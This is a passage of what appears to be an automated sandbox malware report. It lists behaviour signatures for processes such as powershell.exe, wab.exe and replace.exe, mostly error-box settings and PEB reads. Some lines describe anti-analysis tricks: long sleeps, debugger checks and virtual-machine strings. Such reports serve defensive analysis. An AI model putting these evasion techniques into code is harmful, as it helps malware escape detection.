Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\replace.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\replace.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\replace.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\replace.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\replace.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246EBD30 rdtscp 12_2_246EBD30
Contains long sleeps (>= 3 min)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Found WSH timer for Javascript or VBS script (likely evasive script)
Source: C:\Windows\System32\wscript.exe Window found: window name: WSH-Timer Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 4487 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 5386 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 8424 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 1321 Jump to behavior
Found large amount of non-executed APIs
Source: C:\Program Files (x86)\Windows Mail\wab.exe API coverage: 0.3 %
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7652 Thread sleep time: -3689348814741908s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7776 Thread sleep count: 8424 > 30 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7764 Thread sleep count: 1321 > 30 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7808 Thread sleep time: -1844674407370954s >= -30000s Jump to behavior
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\SysWOW64\replace.exe Last function: Thread delayed
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: wscript.exe, 00000000.00000003.1312114499.000001AAA32F2000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\ig
Source: wab.exe, 0000000C.00000003.2155735479.0000000008A0D000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Source: powershell.exe, 00000002.00000002.2359893291.000002B3501AE000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information queried: ProcessInformation Jump to behavior
Checks if the current process is being debugged
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process queried: DebugPort Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Process queried: DebugPort Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Process queried: DebugPort Jump to behavior
Source: C:\Windows\SysWOW64\replace.exe Process queried: DebugPort Jump to behavior
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246EBD30 rdtscp 12_2_246EBD30
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_247035C0 NtCreateMutant,LdrInitializeThunk, 12_2_247035C0
Contains functionality to read the PEB
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_2479547F mov eax, dword ptr fs:[00000030h] 12_2_2479547F
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246C1460 mov eax, dword ptr fs:[00000030h] 12_2_246C1460
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246C1460 mov eax, dword ptr fs:[00000030h] 12_2_246C1460
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246C1460 mov eax, dword ptr fs:[00000030h] 12_2_246C1460
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246C1460 mov eax, dword ptr fs:[00000030h] 12_2_246C1460
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246C1460 mov eax, dword ptr fs:[00000030h] 12_2_246C1460
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246DF460 mov eax, dword ptr fs:[00000030h] 12_2_246DF460
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246DF460 mov eax, dword ptr fs:[00000030h] 12_2_246DF460
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246DF460 mov eax, dword ptr fs:[00000030h] 12_2_246DF460
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246DF460 mov eax, dword ptr fs:[00000030h] 12_2_246DF460
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246DF460 mov eax, dword ptr fs:[00000030h] 12_2_246DF460
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246DF460 mov eax, dword ptr fs:[00000030h] 12_2_246DF460
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246EA470 mov eax, dword ptr fs:[00000030h] 12_2_246EA470
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246EA470 mov eax, dword ptr fs:[00000030h] 12_2_246EA470
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246EA470 mov eax, dword ptr fs:[00000030h] 12_2_246EA470
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_2477F453 mov eax, dword ptr fs:[00000030h] 12_2_2477F453
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246CB440 mov eax, dword ptr fs:[00000030h] 12_2_246CB440
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246CB440 mov eax, dword ptr fs:[00000030h] 12_2_246CB440
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246CB440 mov eax, dword ptr fs:[00000030h] 12_2_246CB440
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246CB440 mov eax, dword ptr fs:[00000030h] 12_2_246CB440
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246CB440 mov eax, dword ptr fs:[00000030h] 12_2_246CB440
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246CB440 mov eax, dword ptr fs:[00000030h] 12_2_246CB440
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246FE443 mov eax, dword ptr fs:[00000030h] 12_2_246FE443
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246FE443 mov eax, dword ptr fs:[00000030h] 12_2_246FE443
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246FE443 mov eax, dword ptr fs:[00000030h] 12_2_246FE443
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246FE443 mov eax, dword ptr fs:[00000030h] 12_2_246FE443
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246FE443 mov eax, dword ptr fs:[00000030h] 12_2_246FE443
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246FE443 mov eax, dword ptr fs:[00000030h] 12_2_246FE443
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246FE443 mov eax, dword ptr fs:[00000030h] 12_2_246FE443
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246FE443 mov eax, dword ptr fs:[00000030h] 12_2_246FE443
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246E245A mov eax, dword ptr fs:[00000030h] 12_2_246E245A
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246BE420 mov eax, dword ptr fs:[00000030h] 12_2_246BE420
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246BE420 mov eax, dword ptr fs:[00000030h] 12_2_246BE420
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246BE420 mov eax, dword ptr fs:[00000030h] 12_2_246BE420
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246BC427 mov eax, dword ptr fs:[00000030h] 12_2_246BC427
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246FA430 mov eax, dword ptr fs:[00000030h] 12_2_246FA430
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246E340D mov eax, dword ptr fs:[00000030h] 12_2_246E340D
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246F8402 mov eax, dword ptr fs:[00000030h] 12_2_246F8402
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246F8402 mov eax, dword ptr fs:[00000030h] 12_2_246F8402
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246F8402 mov eax, dword ptr fs:[00000030h] 12_2_246F8402
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246C04E5 mov ecx, dword ptr fs:[00000030h] 12_2_246C04E5
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_247694E0 mov eax, dword ptr fs:[00000030h] 12_2_247694E0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_247954DB mov eax, dword ptr fs:[00000030h] 12_2_247954DB
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_2474A4B0 mov eax, dword ptr fs:[00000030h] 12_2_2474A4B0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246C64AB mov eax, dword ptr fs:[00000030h] 12_2_246C64AB
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246F34B0 mov eax, dword ptr fs:[00000030h] 12_2_246F34B0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246F44B0 mov ecx, dword ptr fs:[00000030h] 12_2_246F44B0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246C9486 mov eax, dword ptr fs:[00000030h] 12_2_246C9486
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246C9486 mov eax, dword ptr fs:[00000030h] 12_2_246C9486
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246BB480 mov eax, dword ptr fs:[00000030h] 12_2_246BB480
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246F656A mov eax, dword ptr fs:[00000030h] 12_2_246F656A
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246F656A mov eax, dword ptr fs:[00000030h] 12_2_246F656A
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246F656A mov eax, dword ptr fs:[00000030h] 12_2_246F656A
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246BB562 mov eax, dword ptr fs:[00000030h] 12_2_246BB562
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246FB570 mov eax, dword ptr fs:[00000030h] 12_2_246FB570
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246FB570 mov eax, dword ptr fs:[00000030h] 12_2_246FB570
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246C8550 mov eax, dword ptr fs:[00000030h] 12_2_246C8550
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246C8550 mov eax, dword ptr fs:[00000030h] 12_2_246C8550
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_24795537 mov eax, dword ptr fs:[00000030h] 12_2_24795537
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246EE53E mov eax, dword ptr fs:[00000030h] 12_2_246EE53E
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246EE53E mov eax, dword ptr fs:[00000030h] 12_2_246EE53E
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246EE53E mov eax, dword ptr fs:[00000030h] 12_2_246EE53E
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246EE53E mov eax, dword ptr fs:[00000030h] 12_2_246EE53E
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246EE53E mov eax, dword ptr fs:[00000030h] 12_2_246EE53E
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_2476F525 mov eax, dword ptr fs:[00000030h] 12_2_2476F525
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_2476F525 mov eax, dword ptr fs:[00000030h] 12_2_2476F525
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_2476F525 mov eax, dword ptr fs:[00000030h] 12_2_2476F525
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_2476F525 mov eax, dword ptr fs:[00000030h] 12_2_2476F525
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_2476F525 mov eax, dword ptr fs:[00000030h] 12_2_2476F525
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_2476F525 mov eax, dword ptr fs:[00000030h] 12_2_2476F525
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_2476F525 mov eax, dword ptr fs:[00000030h] 12_2_2476F525
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246D0535 mov eax, dword ptr fs:[00000030h] 12_2_246D0535
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246D0535 mov eax, dword ptr fs:[00000030h] 12_2_246D0535
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246D0535 mov eax, dword ptr fs:[00000030h] 12_2_246D0535
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246D0535 mov eax, dword ptr fs:[00000030h] 12_2_246D0535
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246D0535 mov eax, dword ptr fs:[00000030h] 12_2_246D0535
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246D0535 mov eax, dword ptr fs:[00000030h] 12_2_246D0535
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_2477B52F mov eax, dword ptr fs:[00000030h] 12_2_2477B52F
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246CD534 mov eax, dword ptr fs:[00000030h] 12_2_246CD534
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246CD534 mov eax, dword ptr fs:[00000030h] 12_2_246CD534
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246CD534 mov eax, dword ptr fs:[00000030h] 12_2_246CD534
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246CD534 mov eax, dword ptr fs:[00000030h] 12_2_246CD534
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246CD534 mov eax, dword ptr fs:[00000030h] 12_2_246CD534
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246CD534 mov eax, dword ptr fs:[00000030h] 12_2_246CD534
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246FD530 mov eax, dword ptr fs:[00000030h] 12_2_246FD530
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246FD530 mov eax, dword ptr fs:[00000030h] 12_2_246FD530
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246F7505 mov eax, dword ptr fs:[00000030h] 12_2_246F7505
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246F7505 mov ecx, dword ptr fs:[00000030h] 12_2_246F7505
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_24794500 mov eax, dword ptr fs:[00000030h] 12_2_24794500
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_24794500 mov eax, dword ptr fs:[00000030h] 12_2_24794500
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_24794500 mov eax, dword ptr fs:[00000030h] 12_2_24794500
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_24794500 mov eax, dword ptr fs:[00000030h] 12_2_24794500
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_24794500 mov eax, dword ptr fs:[00000030h] 12_2_24794500
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_24794500 mov eax, dword ptr fs:[00000030h] 12_2_24794500
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_24794500 mov eax, dword ptr fs:[00000030h] 12_2_24794500
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246FC5ED mov eax, dword ptr fs:[00000030h] 12_2_246FC5ED
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246FC5ED mov eax, dword ptr fs:[00000030h] 12_2_246FC5ED
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246EE5E7 mov eax, dword ptr fs:[00000030h] 12_2_246EE5E7
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246EE5E7 mov eax, dword ptr fs:[00000030h] 12_2_246EE5E7
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246EE5E7 mov eax, dword ptr fs:[00000030h] 12_2_246EE5E7
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246EE5E7 mov eax, dword ptr fs:[00000030h] 12_2_246EE5E7
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246EE5E7 mov eax, dword ptr fs:[00000030h] 12_2_246EE5E7
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246EE5E7 mov eax, dword ptr fs:[00000030h] 12_2_246EE5E7
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246EE5E7 mov eax, dword ptr fs:[00000030h] 12_2_246EE5E7
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246EE5E7 mov eax, dword ptr fs:[00000030h] 12_2_246EE5E7
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246C25E0 mov eax, dword ptr fs:[00000030h] 12_2_246C25E0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246E15F4 mov eax, dword ptr fs:[00000030h] 12_2_246E15F4
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246E15F4 mov eax, dword ptr fs:[00000030h] 12_2_246E15F4
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246E15F4 mov eax, dword ptr fs:[00000030h] 12_2_246E15F4
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246E15F4 mov eax, dword ptr fs:[00000030h] 12_2_246E15F4
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246E15F4 mov eax, dword ptr fs:[00000030h] 12_2_246E15F4
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246E15F4 mov eax, dword ptr fs:[00000030h] 12_2_246E15F4
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246FE5CF mov eax, dword ptr fs:[00000030h] 12_2_246FE5CF
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246FE5CF mov eax, dword ptr fs:[00000030h] 12_2_246FE5CF
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_247935D7 mov eax, dword ptr fs:[00000030h] 12_2_247935D7
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_247935D7 mov eax, dword ptr fs:[00000030h] 12_2_247935D7
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_247935D7 mov eax, dword ptr fs:[00000030h] 12_2_247935D7
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246F55C0 mov eax, dword ptr fs:[00000030h] 12_2_246F55C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_247955C9 mov eax, dword ptr fs:[00000030h] 12_2_247955C9
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246E95DA mov eax, dword ptr fs:[00000030h] 12_2_246E95DA
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246C65D0 mov eax, dword ptr fs:[00000030h] 12_2_246C65D0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246FA5D0 mov eax, dword ptr fs:[00000030h] 12_2_246FA5D0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246FA5D0 mov eax, dword ptr fs:[00000030h] 12_2_246FA5D0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246E15A9 mov eax, dword ptr fs:[00000030h] 12_2_246E15A9
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246E15A9 mov eax, dword ptr fs:[00000030h] 12_2_246E15A9
